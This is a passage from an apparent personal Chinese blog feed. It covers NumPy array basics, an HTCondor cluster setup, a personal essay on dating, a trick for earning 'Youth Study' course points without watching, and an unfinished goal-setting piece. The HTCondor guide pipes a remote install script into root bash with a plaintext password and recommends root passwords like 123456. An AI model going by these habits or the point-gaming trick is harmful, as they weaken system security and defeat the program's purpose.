title="六、ndarray的创建及其基本属性"></a>六、ndarray的创建及其基本属性</h2><h3 id="1、创建ndarray"><a href="#1、创建ndarray" class="headerlink" title="1、创建ndarray"></a>1、创建ndarray</h3><pre class="language-python" data-language="python"><code class="language-python">a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">]</span>b <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>a<span class="token punctuation">)</span>c <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span>d <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">,</span>dtype<span class="token operator">=</span><span class="token builtin">complex</span><span class="token punctuation">)</span> <span class="token comment"># 指定数据类型</span><span class="token keyword">print</span><span class="token punctuation">(</span>b <span class="token punctuation">,</span> b<span class="token punctuation">.</span>dtype<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>c <span class="token punctuation">,</span> c<span class="token punctuation">.</span>dtype<span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>d <span class="token punctuation">,</span> d<span class="token punctuation">.</span>dtype<span class="token punctuation">)</span></code></pre><p><img src="/medias/legacy/img-blog.csdnimg.cn/6b214eda6a3e478a.png" alt="在这里插入图片描述" loading="lazy"></p><h4 id="1-1、创建数值都为1的ndarray"><a href="#1-1、创建数值都为1的ndarray" class="headerlink" title="1.1、创建数值都为1的ndarray"></a>1.1、创建数值都为1的ndarray</h4><pre class="language-python" data-language="python"><code class="language-python">array_one <span class="token operator">=</span> np<span class="token punctuation">.</span>ones<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span>np<span class="token punctuation">.</span><span class="token builtin">int</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>array_one<span class="token punctuation">)</span></code></pre><p><img src="/medias/legacy/img-blog.csdnimg.cn/04fe5cc851dc1759.png" alt="在这里插入图片描述" loading="lazy"></p><h4 id="1-2、创建数值都为0的ndarray"><a href="#1-2、创建数值都为0的ndarray" class="headerlink" title="1.2、创建数值都为0的ndarray"></a>1.2、创建数值都为0的ndarray</h4><pre class="language-python" data-language="python"><code class="language-python">array_zero <span class="token operator">=</span> np<span class="token punctuation">.</span>zeros<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">,</span> dtype<span class="token operator">=</span>np<span class="token punctuation">.</span><span class="token builtin">float</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>array_zero<span class="token punctuation">)</span></code></pre><p><img src="/medias/legacy/img-blog.csdnimg.cn/f024245a9f406e3c.png" alt="在这里插入图片描述" loading="lazy"></p><h4 id="1-3、创建指定数值的ndarray"><a href="#1-3、创建指定数值的ndarray" class="headerlink" title="1.3、创建指定数值的ndarray"></a>1.3、创建指定数值的ndarray</h4><pre class="language-python" data-language="python"><code class="language-python">array_full <span class="token operator">=</span> np<span class="token punctuation">.</span>full<span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span>array_full<span class="token punctuation">)</span></code></pre><p><img src="/medias/legacy/img-blog.csdnimg.cn/3998a8ec46b89573.png" alt="在这里插入图片描述" loading="lazy"></p><h3 id="2、Numpy查看数组属性"><a href="#2、Numpy查看数组属性" class="headerlink" title="2、Numpy查看数组属性"></a>2、Numpy查看数组属性</h3><ul><li>.shape 为 (3,) 代表一维数组，有三个元素</li><li>.shape 为 (2,6) 代表二维数组，2行，6列</li></ul><p><img src="/medias/legacy/img-blog.csdnimg.cn/d755e83c312d2815.png" alt="在这里插入图片描述" loading="lazy"></p><pre class="language-python" data-language="python"><code class="language-python">a <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">2</span><span class="token punctuation">,</span><span class="token number">3</span><span class="token punctuation">]</span>b <span class="token operator">=</span> np<span class="token punctuation">.</span>array<span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token comment"># 数组元素个数：3</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token comment"># 数组形状:c</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span>shape<span class="token punctuation">)</span><span class="token comment"># 数组维度:1</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span>ndim<span class="token punctuation">)</span><span class="token comment"># 数组元素类型:int32</span><span class="token keyword">print</span><span class="token punctuation">(</span>b<span class="token punctuation">.</span>dtype<span class="token punctuation">)</span></code></pre><ul><li>.ndim表示数组的维数</li></ul><p><img src="/medias/legacy/img-blog.csdnimg.cn/efbb54892f762db6.png" alt="在这里插入图片描述" loading="lazy"></p><h2 id="七、两个大题根据要求将程序补充完整分别以列表和字典作为数据结构"><a href="#七、两个大题根据要求将程序补充完整分别以列表和字典作为数据结构" class="headerlink" title="七、两个大题根据要求将程序补充完整分别以列表和字典作为数据结构"></a>七、两个大题根据要求将程序补充完整分别以列表和字典作为数据结构</h2><h2 id="八、根据我的示范给一个类添加属性和方法-以课堂上讲的Time类为基础"><a href="#八、根据我的示范给一个类添加属性和方法-以课堂上讲的Time类为基础" class="headerlink" title="八、根据我的示范给一个类添加属性和方法(以课堂上讲的Time类为基础)"></a>八、根据我的示范给一个类添加属性和方法(以课堂上讲的Time类为基础)</h2><blockquote><p>参考链接：<br><a href="https://blog.csdn.net/qq_41359808/article/details/100917447" target="_blank" rel="noopener">https://blog.csdn.net/qq_41359808/article/details/100917447</a><br><a href="https://www.cnblogs.com/yunguoxiaoqiao/p/7640040.html" target="_blank" rel="noopener">https://www.cnblogs.com/yunguoxiaoqiao/p/7640040.html</a><br><a href="https://www.cnblogs.com/monsterhy123/p/12595664.html" target="_blank" rel="noopener">https://www.cnblogs.com/monsterhy123/p/12595664.html</a><br><a href="https://blog.csdn.net/xike1024/article/details/103483717" target="_blank" rel="noopener">https://blog.csdn.net/xike1024/article/details/103483717</a><br><a href="https://blog.csdn.net/weixin_42555080/article/details/86176794" target="_blank" rel="noopener">https://blog.csdn.net/weixin_42555080/article/details/86176794</a></p></blockquote>]]>
    </content>
    <id>https://wmcoder.net/posts/75ae.html</id>
    <link href="https://wmcoder.net/posts/75ae.html"/>
    <published>2021-06-15T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="Python考试基础知识"><a href="#Python考试基础知识" class="headerlink" title="Python考试基础知识"></a>Python考试基础知识</h1><h2 id="一、python的基本语法（包括包的导入"><a]]>
    </summary>
    <title>Python考试基础知识</title>
    <updated>2021-06-15T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="云计算" scheme="https://wmcoder.net/categories/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    <category term="技术杂谈" scheme="https://wmcoder.net/tags/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/"/>
    <category term="云计算" scheme="https://wmcoder.net/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    <content>
      <![CDATA[<h1 id="HTCondor计算集群的搭建历程"><a href="#HTCondor计算集群的搭建历程" class="headerlink" title="HTCondor计算集群的搭建历程"></a>HTCondor计算集群的搭建历程</h1><h2 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h2><p>首先是Windows下的操作，仔细对照实验指导书来说，反复修改重启，最后突然发现只要改一个配置文件就可以完成这些操作。虽然Windows的最终还是没有搞出来，但还是学到了很多知识。</p><p>Windows下的方法不行了，后来开了个Windows的虚拟机，但是htcondor软件不支持在windows虚拟机上安装，于是又改用Linux的方法，有个ubuntu18的虚拟机，但因为忘了root密码无法使用，当时只有centos和ubuntu19的镜像，于是连开了几台centos和ubuntu19的虚拟机，发现无法输入命令，更别提进行通信，一气之下，直接开了三台国外的服务器，配置相互之间的通信。</p><p><img src="/medias/legacy/cdn.jsdelivr.net/151516037961a344.png" loading="lazy"></p><p>一切都很顺利，输入命令没有报错，但最后condor status的时候出现6001无法连接的问题，这时候突然意识到没有在同一个网段内，又做了很多无用功。</p><p>后来弄到了ubuntu18的iso文件，一连开了五个虚拟机咔咔一顿配置才弄好。</p><h2 id="反思"><a href="#反思" class="headerlink" title="反思"></a>反思</h2><ul><li><p>通过配置文件改变权限属性的意识要有</p></li><li><p>虚拟机的root密码和登录密码尽量简单些，比如直接弄成123456</p></li><li><p>分析好属性了再做，比如要在同一网段和ubuntu18</p></li><li><p>理解原理了再去做会更容易些</p></li></ul>]]>
    </content>
    <id>https://wmcoder.net/posts/1f59.html</id>
    <link href="https://wmcoder.net/posts/1f59.html"/>
    <published>2021-05-26T04:00:01.000Z</published>
    <summary>
      <![CDATA[<h1 id="HTCondor计算集群的搭建历程"><a href="#HTCondor计算集群的搭建历程" class="headerlink" title="HTCondor计算集群的搭建历程"></a>HTCondor计算集群的搭建历程</h1><h2 id="过程"><]]>
    </summary>
    <title>HTCondor计算集群的搭建历程</title>
    <updated>2021-05-26T04:00:01.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="云计算" scheme="https://wmcoder.net/categories/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    <category term="云计算" scheme="https://wmcoder.net/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    <content>
      <![CDATA[<h2 id="HTCondor下多台Linux计算集群的搭建"><a href="#HTCondor下多台Linux计算集群的搭建" class="headerlink" title="HTCondor下多台Linux计算集群的搭建"></a>HTCondor下多台Linux计算集群的搭建</h2><blockquote><p>环境：<strong>四台同网段的Linux虚拟机</strong></p><ul><li>一台当作Central Manager</li><li>一台用来Submit </li><li>两台用来Execute</li></ul></blockquote><h3 id="（一）对四台虚拟机分别进行此操作"><a href="#（一）对四台虚拟机分别进行此操作" class="headerlink" title="（一）对四台虚拟机分别进行此操作"></a>（一）对四台虚拟机分别进行此操作</h3><pre class="language-python" data-language="python"><code class="language-python">apt<span class="token operator">-</span>get update <span class="token operator">&amp;</span><span class="token operator">&amp;</span> apt<span class="token operator">-</span>get install <span class="token operator">-</span>y curl</code></pre><p><img src="/medias/legacy/img-blog.csdnimg.cn/9c8a7df708a63950.png" alt="在这里插入图片描述" loading="lazy"></p><h3 id="（二）对三个角色分别进行如下操作"><a href="#（二）对三个角色分别进行如下操作" class="headerlink" title="（二）对三个角色分别进行如下操作"></a>（二）对三个角色分别进行如下操作</h3><h4 id="1）充当Central-Manager角色的虚拟机"><a href="#1）充当Central-Manager角色的虚拟机" class="headerlink" title="1）充当Central Manager角色的虚拟机"></a>1）充当Central Manager角色的虚拟机</h4><p>首先，查找此虚拟机的IP<br>命令行输入<code>ifconfig -a</code>,红框的即为虚拟机IP<br><img src="/medias/legacy/img-blog.csdnimg.cn/be04b9e956ac3f1c.png" alt="在这里插入图片描述" loading="lazy"></p><p>将此IP替换192.168.87.132，输入如下命令</p><pre class="language-python" data-language="python"><code class="language-python">sudo curl <span class="token operator">-</span>fsSL https<span class="token punctuation">:</span><span class="token operator">//</span>get<span class="token punctuation">.</span>htcondor<span class="token punctuation">.</span>org <span class="token operator">|</span> GET_HTCONDOR_PASSWORD<span class="token operator">=</span>wmcoder <span class="token operator">/</span><span class="token builtin">bin</span><span class="token operator">/</span>bash <span class="token operator">-</span>s <span class="token operator">-</span><span class="token operator">-</span> <span class="token operator">-</span><span class="token operator">-</span>no<span class="token operator">-</span>dry<span class="token operator">-</span>run <span class="token operator">-</span><span class="token operator">-</span>central<span class="token operator">-</span>manager <span class="token number">192.168</span><span class="token number">.87</span><span class="token number">.132</span></code></pre><h4 id="2）充当Submit-角色的虚拟机"><a href="#2）充当Submit-角色的虚拟机" class="headerlink" title="2）充当Submit 角色的虚拟机"></a>2）充当Submit 角色的虚拟机</h4><p>192.168.87.132用Central Manager角色虚拟机的IP来替换</p><pre class="language-python" data-language="python"><code class="language-python">sudo curl <span class="token operator">-</span>fsSL https<span class="token punctuation">:</span><span class="token operator">//</span>get<span class="token punctuation">.</span>htcondor<span class="token punctuation">.</span>org <span class="token operator">|</span> GET_HTCONDOR_PASSWORD<span class="token operator">=</span>wmcoder <span class="token operator">/</span><span class="token builtin">bin</span><span class="token operator">/</span>bash <span class="token operator">-</span>s <span class="token operator">-</span><span class="token operator">-</span> <span class="token operator">-</span><span class="token operator">-</span>no<span class="token operator">-</span>dry<span class="token operator">-</span>run <span class="token operator">-</span><span class="token operator">-</span>submit <span class="token number">192.168</span><span class="token number">.87</span><span class="token number">.132</span></code></pre><h4 id="3）充当Execute角色的虚拟机（两台）"><a href="#3）充当Execute角色的虚拟机（两台）" class="headerlink" title="3）充当Execute角色的虚拟机（两台）"></a>3）充当Execute角色的虚拟机（两台）</h4><p>192.168.87.132用Central Manager角色虚拟机的IP来替换</p><pre class="language-python" data-language="python"><code class="language-python">sudo curl <span class="token operator">-</span>fsSL https<span class="token punctuation">:</span><span class="token operator">//</span>get<span class="token punctuation">.</span>htcondor<span class="token punctuation">.</span>org <span class="token operator">|</span> GET_HTCONDOR_PASSWORD<span class="token operator">=</span>wmcoder <span class="token operator">/</span><span class="token builtin">bin</span><span class="token operator">/</span>bash <span class="token operator">-</span>s <span class="token operator">-</span><span class="token operator">-</span> <span class="token operator">-</span><span class="token operator">-</span>no<span class="token operator">-</span>dry<span class="token operator">-</span>run <span class="token operator">-</span><span class="token operator">-</span>execute <span class="token number">192.168</span><span class="token number">.87</span><span class="token number">.132</span></code></pre><h3 id="（三）执行condor-status查看"><a href="#（三）执行condor-status查看" class="headerlink" title="（三）执行condor_status查看"></a>（三）执行condor_status查看</h3><p>登录到提交计算机上的用户应该能够查看池中的执行计算机（使用condor_status），提交作业（使用condor_submit）以及运行（使用condor_q）。显示的为两台执行角色的虚拟机。<br><img src="/medias/legacy/img-blog.csdnimg.cn/476f7d20fa2f670d.png" alt="在这里插入图片描述" loading="lazy"></p><h3 id="（附）部分bug及解决方案"><a href="#（附）部分bug及解决方案" class="headerlink" title="（附）部分bug及解决方案"></a>（附）部分bug及解决方案</h3><h4 id="因未设置密码问题无法使用root权限"><a href="#因未设置密码问题无法使用root权限" class="headerlink" title="因未设置密码问题无法使用root权限"></a>因未设置密码问题无法使用root权限</h4><p><img src="/medias/legacy/img-blog.csdnimg.cn/79f88e2494d86b96.png" alt="在这里插入图片描述" loading="lazy"></p><h4 id="如提前安装了htcondor，使用此命令卸载"><a href="#如提前安装了htcondor，使用此命令卸载" class="headerlink" title="如提前安装了htcondor，使用此命令卸载"></a>如提前安装了htcondor，使用此命令卸载</h4><pre class="language-python" data-language="python"><code class="language-python">sh <span class="token operator">-</span>c <span class="token string">"apt-get -y remove --purge htcondor &amp;&amp; apt-get -y autoremove --purge &amp;&amp; rm -fr /etc/condor"</span></code></pre><p>参考链接：<br><a href="https://htcondor.readthedocs.io/en/latest/getting-htcondor/install-linux-as-root.html" target="_blank" rel="noopener">https://htcondor.readthedocs.io/en/latest/getting-htcondor/install-linux-as-root.html</a><br><a href="https://htcondor.readthedocs.io/en/latest/getting-htcondor/admin-quick-start.html#admin-quick-start-guide" target="_blank" rel="noopener">https://htcondor.readthedocs.io/en/latest/getting-htcondor/admin-quick-start.html#admin-quick-start-guide</a></p><p>CSDN:<a href="https://blog.csdn.net/qq_44275213/article/details/117270920" target="_blank" rel="noopener">HTCondor下多台Linux计算集群的搭建_未名编程-CSDN博客</a></p>]]>
    </content>
    <id>https://wmcoder.net/posts/1f58.html</id>
    <link href="https://wmcoder.net/posts/1f58.html"/>
    <published>2021-05-26T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="HTCondor下多台Linux计算集群的搭建"><a href="#HTCondor下多台Linux计算集群的搭建" class="headerlink" title="HTCondor下多台Linux计算集群的搭建"></a>HTCondor下多台Linux计]]>
    </summary>
    <title>HTCondor下多台Linux计算集群的搭建</title>
    <updated>2021-05-26T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="情感日记" scheme="https://wmcoder.net/categories/%E6%83%85%E6%84%9F%E6%97%A5%E8%AE%B0/"/>
    <category term="情感日记" scheme="https://wmcoder.net/tags/%E6%83%85%E6%84%9F%E6%97%A5%E8%AE%B0/"/>
    <content>
      <![CDATA[<h1 id="为什么不建议你谈恋爱"><a href="#为什么不建议你谈恋爱" class="headerlink" title="为什么不建议你谈恋爱"></a>为什么不建议你谈恋爱</h1><video class="wide-media" controls preload="metadata" playsinline>  <source src="/medias/videos/aiqingguan.mp4" type="video/mp4">  当前浏览器不支持视频播放。</video><p><img src="/medias/legacy/cdn.jsdelivr.net/559e8990eaf61670.png" alt="关于恋爱的文章配图" loading="lazy"></p><p><a href="https://www.bilibili.com/video/BV11A411T7NC/" target="_blank" rel="noopener">在哔哩哔哩观看相关视频（BV11A411T7NC）</a></p><p>原因好多啊 一时我居然还列不完</p><p>不是很懂得辨别对异性的感觉是心动、好感、喜欢还是爱，所以不想含含糊糊脱单</p><p>单身太久了，以至于让我习惯了什么事情都自己来，不喜欢依靠和麻烦别人，也不喜欢突然有个人打乱了我的生活节奏</p><p>我无法让恋爱在我的生活中占比过多，大部分的时间我都无法分配给另一半，总觉得自己没有能力照顾和爱他，所以不想耽误别人</p><p>我心思比较敏感和细腻，会想很远想很多，所以一旦开始了我就会陷入，很容易伤到自己，所以我选择不轻易开始</p><p>最重要的应该就是，遇不到自己喜欢而且合适的叭，所以不想将就，也就不想谈恋爱了</p><hr><p>因为不敢动心，太了解自己的德行，<br>一旦动心，被玩死的一定是我，<br>所以习惯性地压着感情，<br>有好感了就开始挑刺把好感压下去，</p><p>我一个人的时候能过得很好，<br>上课，买菜做饭，健身，晚上约朋友吃点夜宵喝个小酒，规律又惬意，<br>有空的话去旅行，平时周末拿相机去扫街，把生活安排得井井有条，充满主见充满理性，</p><p>一旦有那么一个人出现，我的所作所为都会被他打乱，即使他什么也没做，<br>一直看手机有没有消息，想他在做什么，要不要问一下，发消息怎么没有回我，如果他有事没有联系我那么这一段时间我会失魂落魄，时间再长一点我甚至能哭出来，</p><p>看到好吃的会想要不要给他带，看到男装店就像进，看到有趣的东西就会发给他，会耗费大量的精力送他一些礼物，他的每一句话我都会去认真揣度他的意思，<br>不敢提要求，不敢反驳他的意见，只会去顺从，怕他对我有一点点不满，</p><p>我这个人有个毛病，太容易把承诺当真，哪怕只是他的随口一提，<br>他说会带我去哪里，我就真的会提上日程认真计划，<br>他说他会做到的事，我就真的一万分相信他能做到，<br>而等着我的往往都是失望，</p><p>我会觉得自己不够好，长相不好身材不好性格不好，也没有什么拿得出手的本事和闪光点，没有出众的能力，凭什么留下他，说每一句话做每一件事都会想他喜不喜欢我这个样子，把自己爱到尘埃里，变得不像自己，</p><p>一个孤独的人如果出现了那么一个同行者，依赖感就会一瞬间爆发出来，变得小心又敏感，<br>我十多年来建立的城墙立刻分崩离析，</p><p>如果有一天他离我而去，我担心自己会没有足够的力气去重新适应孤独，<br>就像那句话，<br>本来我在绝望里活得好好的，你非要多手把我捞出来，然后又把我扔回去，</p><p>正是对爱太渴望才不敢去获得，<br>我也没有那么满意我现在的样子，我也希望在困难的时候可以示弱，而不是强打精神去面对，然后听别人说我怎么这么坚强，</p><p>但比起患得患失地去依赖另一个人，<br>比起承受那个人给了我一切又把它们都带走，<br>我更习惯于自己一个人去适应生命中的各种苦难，<br>不能克服的软肋就隐藏起来，<br>好累啊，可是没有办法，</p><p>最好最安全的方法，<br>就是一直，一个人，走下去。</p><p>-——————————————————————–</p><p>这一段补充又删掉，删掉又补充上，<br>不写总觉得缺了些什么，要写却又表达不完，<br>没有不恋爱的意思，一个人固然好，<br>但我人生里最快乐的时候还是两个人，<br>只是觉得自己已经浪费掉太多感情，<br>所以不愿再轻易去尝试，</p><p>我始终相信会有那么一个人出现，<br>只是我不知道他什么时候会来，<br>我要做的就是像他明天就会来那样去期待，<br>像他永远都不会来那样去生活，</p><p>已经经历过了爱情里所有美好和值得怀念的东西，<br>借用另一位答主的话来说，就是失明前已经见过了彩虹，极光，和海洋，<br>所以心态变得很平和，能复明固然很好，但就算一直这样下去，我也没有遗憾。</p><hr><p>谈恋爱一定会想要给对方一个未来，以前的我什么都没有，也许连彩礼的钱都拿不出来。</p><p><strong>所以我想让自己变得足够优秀，才能在对的时间，给对的人一个未来。</strong></p><p>大部分人总觉得大学不谈一场恋爱是遗憾，但其实在给不起对方未来的时间，遇到了一个想要相伴一生的人，却最终败给了现实，这才是遗憾。</p><p>所以，不是不想谈恋爱，只是想等自己足够优秀了，让单身成为自己的加分项。</p><p>爱情不是不会来，只是来的晚一些罢了。</p><p>无论什么时候都必须要知道：</p><p><strong>先学会好好爱自己，才会好好爱别人；</strong></p><p><strong>先学会让自己变得更好，才有能力让彼此变得更好。</strong></p>]]>
    </content>
    <id>https://wmcoder.net/posts/644b.html</id>
    <link href="https://wmcoder.net/posts/644b.html"/>
    <published>2021-05-24T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="为什么不建议你谈恋爱"><a href="#为什么不建议你谈恋爱" class="headerlink" title="为什么不建议你谈恋爱"></a>为什么不建议你谈恋爱</h1><video class="wide-media" controls preloa]]>
    </summary>
    <title>为什么不建议你谈恋爱</title>
    <updated>2021-05-24T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="技术杂谈" scheme="https://wmcoder.net/categories/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/"/>
    <category term="技术杂谈" scheme="https://wmcoder.net/tags/%E6%8A%80%E6%9C%AF%E6%9D%82%E8%B0%88/"/>
    <content>
      <![CDATA[<h1 id="三步秒刷青年大学习"><a href="#三步秒刷青年大学习" class="headerlink" title="三步秒刷青年大学习"></a>三步秒刷青年大学习</h1><blockquote><p>历史存档：本文记录的是 2020 年的网页调试方法，相关页面与活动规则可能已经变化。</p></blockquote><blockquote><p>关于如何刷青年大学习，各位网友可谓各显神通，但遗憾的是，那些方法都太局限了，换一个型号的手机可能就不适用了。小编这里介绍一种通用的方法。</p><p>声明，本方法以通用为主，操作流程也比较简单。但如果要追求秒刷，请付费后查看付费内容。如果要求提交最后截图，请查看付费秒刷一。如果仅追求秒刷弄积分，请查看付费秒刷二。<a href="https://mp.weixin.qq.com/s?__biz=MzIxNjAyMjAyMA==&mid=2247484952&idx=1&sn=bbae005e84c9925ab97746d6e2885673&chksm=978e2b73a0f9a265b2938a7e6f4980aaefabb1cb498633e59bd4e7bb21bf5d672d282a9f05b9#rd" target="_blank" rel="noopener">付费阅读渠道</a><br>1、在电脑登录微信，进入团课学习的界面，然后点击在网页中打开。<br>2、按 F12，点击左上角的箭头，然后点击视频界面，找到类似 <code>http://dxxsv.cyol.com/9dxx3.mp4</code> 格式的链接。<br>3、复制该链接至新标签页，拖动进度条至最后，然后就ok了。</p></blockquote><ul><li><a href="https://www.bilibili.com/video/BV135411W7JW/" target="_blank" rel="noopener">点击此处查看视频讲解</a></li><li>如果需要小编亲自指导可以关注微信公众号<strong>未名编程</strong>，在菜单栏<strong>关于作者</strong>中<strong>联系方式</strong>里加小编微信进行详细讲解。</li><li>是不是有点懵，下面小编逐步解释一下。<br>第一步：在电脑登录微信，进入团课学习的界面，然后点击在网页中打开（点击红框的按钮即可）。<br><img src="/medias/legacy/img-blog.csdnimg.cn/28d6fe4095a6d8d0.png" alt="在这里插入图片描述" loading="lazy"><br>第二步：按F12，出来此界面<br><img src="/medias/legacy/img-blog.csdnimg.cn/1dc8a4356c36c256.png" alt="在这里插入图片描述" loading="lazy"><br>点击左上角的箭头<br><img src="/medias/legacy/img-blog.csdnimg.cn/a4cf997d17e2f29f.png" alt="在这里插入图片描述" loading="lazy"><br>然后点击视频界面（即红框里的内容）<br><img src="/medias/legacy/img-blog.csdnimg.cn/e5618d69e47df16e.png" alt="在这里插入图片描述" loading="lazy"><br>然后在下方找到类似 <code>http://dxxsv.cyol.com/9dxx3.mp4</code> 格式的链接。<br><img src="/medias/legacy/img-blog.csdnimg.cn/0d92511e7e68f805.png" alt="在这里插入图片描述" loading="lazy"><br>第三步，复制该链接<br><img src="/medias/legacy/img-blog.csdnimg.cn/d3429e6d5cc6d26d.png" alt="在这里插入图片描述" loading="lazy"><br>将复制的链接放入新标签页<br><img src="/medias/legacy/img-blog.csdnimg.cn/6f331ebe237eeb18.png" alt="在这里插入图片描述" loading="lazy"><br>拖动进度条至最后，然后就ok了。<br><img src="/medias/legacy/img-blog.csdnimg.cn/e088b477427d778c.png" alt="在这里插入图片描述" loading="lazy"><br>然后回到积分界面耐心等会儿或者刷新几遍，然后就卧槽，积分真的多了哈哈。<br>本方法以通用为主，操作流程也比较简单。但如果要追求秒刷，请关注小编微信公众号查看内容（满满的干货哈哈）。<br><img src="/medias/legacy/img-blog.csdnimg.cn/a0c3828f24392185.png" alt="在这里插入图片描述" loading="lazy"></li></ul>]]>
    </content>
    <id>https://wmcoder.net/posts/3c52.html</id>
    <link href="https://wmcoder.net/posts/3c52.html"/>
    <published>2020-11-23T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="三步秒刷青年大学习"><a href="#三步秒刷青年大学习" class="headerlink" title="三步秒刷青年大学习"></a>三步秒刷青年大学习</h1><blockquote>
<p>历史存档：本文记录的是 2020 年的网页调试方法，相关页]]>
    </summary>
    <title>三步秒刷青年大学习</title>
    <updated>2020-11-23T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="心理学" scheme="https://wmcoder.net/categories/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    <category term="心理学" scheme="https://wmcoder.net/tags/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    <content>
      <![CDATA[<h1 id="目标管理"><a href="#目标管理" class="headerlink" title="目标管理"></a>目标管理</h1><h2 id="三大原则："><a href="#三大原则：" class="headerlink" title="三大原则："></a>三大原则：</h2><p>1、<strong>明确量化</strong>。目标要量化且可执行，这是所有目标管理书都会教你的第一件事。比如“要减肥”这不算一个量化的目标，甚至“这个月要减5斤”也不是，因为不可执行。减肥是一件非线性的事情，不是每个月减5斤、5个月就能减25斤的，完全可能第一个月没减，第二三个月逐渐开始减。所以你定的可量化减肥计划需要是这样的：每周跑步4次、每天饮食摄入量小于1200卡（用个app计算卡路里）、每天食谱为xxxxxxx……诸如此类，<strong>只有这样才能把大目标分解为可执行的量化目标</strong></p><p>2、<strong>来都来了</strong>。意思是当你惰性很大的时候，你尽量啥也别想先直接开始，比如你的目标是写文章，你就先打开电脑新建一个文档，先随便写一句话；如果你的目标是跑步，你就先把衣服换好出门。此时虽然你只刚开始，但实际上你已经成功了一大半了，你的惰性已经被克服了。</p><p>3、<strong>反复提醒</strong>。我每天早上一到公司打开电脑，第一件事就是打开我的计划表，对昨天的表现进行打分，再看看今天的计划。一年之计在于春，一日之计在于晨，这番话是绝对有道理的，每到年初、月初、周一、每天上午，都需要拟定新的计划，或提醒自己要完成自己的计划。绝大部分人之所以不能完成自己的计划，是因为他只在头一天制定了计划，然后执行了三五天，后面就没有每天、每周、每月提醒自己。这样没过几天就回到原来固有的生活轨迹中去了。</p><h2 id="三中原则："><a href="#三中原则：" class="headerlink" title="三中原则："></a>三中原则：</h2><p>1、<strong>拒绝完美主义</strong>。完美主义是目标管理的大敌，除了极少数的清华学霸那样的人，绝大多数人都必然不可能完成自己列的计划，接下来他们就失去了自信心，草草结束，直到一两年后才再次鼓起勇气想再次挑战自己的计划，结果再次失败，最终得到失败的一生。所以从列计划的一开始，你就要知道你是完不成你的计划的。那这岂非很矛盾吗？我解决这一矛盾的方法是，对于年度计划、月度计划，我可能有三个目标，能完成其中一个就算合格，完成两个就算优秀，完成三个就算完美（我至今从没有在某一年度完成自己定的三个计划）</p><p>拒绝完美主义的第二个要点，是制定目标时不要好高骛远。对于这件事，如果你持之以恒制定目标并去执行，那你很快就懂得要降低自己的目标。降低没有什么统一标准，全靠你自己觉得只要完成了xx事情，这周&#x2F;这个月&#x2F;今年就算没有白过，以此为标准就行。</p><p>2、<strong>打分制</strong>。上面讲的三个目标完成一个就算合格，是对于年度、月度计划来讲的。对于周计划还需要更细致才行，对此我采取了打分制。</p><p>我给每周的3、4件任务赋予分值，每个任务都是有重复性的，比如跑步一周要跑4次，写作一周要写3篇，读书一周要读5次等等。对于不同的任务，我根据其重要性大小、和其难度的大小，给予不同的分值，例如跑步最难且最要紧，一次给5分；写作其次，一次给4分；读书最简单，一次给3分。那么一周总共就有 4x5 + 3x4 + 